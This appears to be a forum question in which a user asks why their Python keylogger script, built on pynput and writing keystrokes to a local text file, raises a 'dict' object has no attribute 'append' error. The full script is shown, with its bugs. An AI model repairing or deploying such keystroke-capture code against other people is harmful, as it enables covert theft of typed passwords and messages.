When trying to run my Python key logger script I get the following error message:
File "C:/Users/PycharmProjects/untitled2/keylogertake3", line 9, in on_press
keys.append(Key)
AttributeError: 'dict' object has no attribute 'append'
Process finished with exit code 1
Code:
import pynput
from pynput.keyboard import Key, Listener
count = 0
keys = {}
def on_press(key):
global keys, count
keys.append(Key)
count += 1
print("({0} pressed".format(key))
if count >= 10:
count = 0
write_file(keys)
keys={}
def write_file(keys):
with open ("keyloger.txt","a")as f:
for key in keys:
f.write(str(key))
with Listener(on_press=on_press)as listener:
listener.join()